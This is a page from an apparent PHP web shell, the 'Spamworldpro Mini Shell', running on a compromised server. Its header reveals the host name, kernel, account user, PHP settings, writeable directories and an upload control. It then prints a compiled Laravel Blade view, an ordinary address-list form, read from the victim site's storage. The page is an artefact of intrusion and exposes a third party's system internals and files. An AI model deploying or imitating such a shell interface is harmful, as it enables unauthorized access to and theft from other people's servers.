Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/medad.corals.io/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/medad.corals.io/storage/framework/views/c4c0298a346071991198b972e457dd02ad3beca3.php
<?php $addressTypes = \Settings::get('address_types',[]); ?>
<div class="row">
    <div class="col-md-12">
        <table class="table color-table primary-table table table-hover table-striped table-condensed">
            <thead>
            <tr>
                <th><?php echo app('translator')->get('Settings::attributes.address.type'); ?></th>
                <th><?php echo app('translator')->get('Settings::attributes.address.address_one'); ?></th>
                <th><?php echo app('translator')->get('Settings::attributes.address.address_two'); ?></th>
                <th><?php echo app('translator')->get('Settings::attributes.address.city'); ?></th>
                <th><?php echo app('translator')->get('Settings::attributes.address.state'); ?></th>
                <th><?php echo app('translator')->get('Settings::attributes.address.zip'); ?></th>
                <th><?php echo app('translator')->get('Settings::attributes.address.country'); ?></th>
                <th><?php echo app('translator')->get('Corals::labels.action'); ?></th>
            </tr>
            </thead>
            <tbody>
            <?php if(is_array($model->address)): ?>
                <?php $__currentLoopData = $model->address; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $addressType => $addressRecord): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                    <?php
                        if(isset($object) && $object['type'] == $addressType){} else {unset($addressTypes[$addressType]);}
                    ?>
                    <tr>
                        <td><?php echo e(\Settings::get('address_types')[$addressType]??$addressType); ?></td>
                        <td><?php echo e($addressRecord['address_1']); ?></td>
                        <td><?php echo e($addressRecord['address_2']??'-'); ?></td>
                        <td><?php echo e($addressRecord['city']); ?></td>
                        <td><?php echo e($addressRecord['state']); ?></td>
                        <td><?php echo e($addressRecord['zip']); ?></td>
                        <td><?php echo e($addressRecord['country']); ?></td>
                        <td><?php echo \Settings::getAddressActions($addressType, $url??'',$addressDiv); ?></td>
                    </tr>
                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
            <?php else: ?>
                <tr>
                    <td colspan="8" class="text-center"><?php echo app('translator')->get('Settings::labels.address.no_add'); ?></td>
                </tr>
            <?php endif; ?>
            </tbody>
        </table>
    </div>
</div>
<?php if(!empty($addressTypes)): ?>
    <div id="address_form"
         data-url="<?php echo e($url??''); ?>"
         data-method="<?php echo e($method??''); ?>">
        <?php echo $__env->make('components.address', ['key'=>'address', 'addressTypes'=>$addressTypes], \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
        <?php echo \CoralsForm::button('Settings::labels.address.save', ['id'=>'add_address_btn','class'=>'btn btn-success btn-sm','onClick'=>'handleAddressAddBtn();']); ?>

    </div>
<?php endif; ?>

<script type="text/javascript">
    function handleAddressAddBtn() {
        divSubmit($("#address_form"));
    }
</script>
<?php /**PATH /home/corals/medad.corals.io/Corals/core/Settings/resources/views/addresses/address_list_form.blade.php ENDPATH**/ ?>

Spamworldpro Mini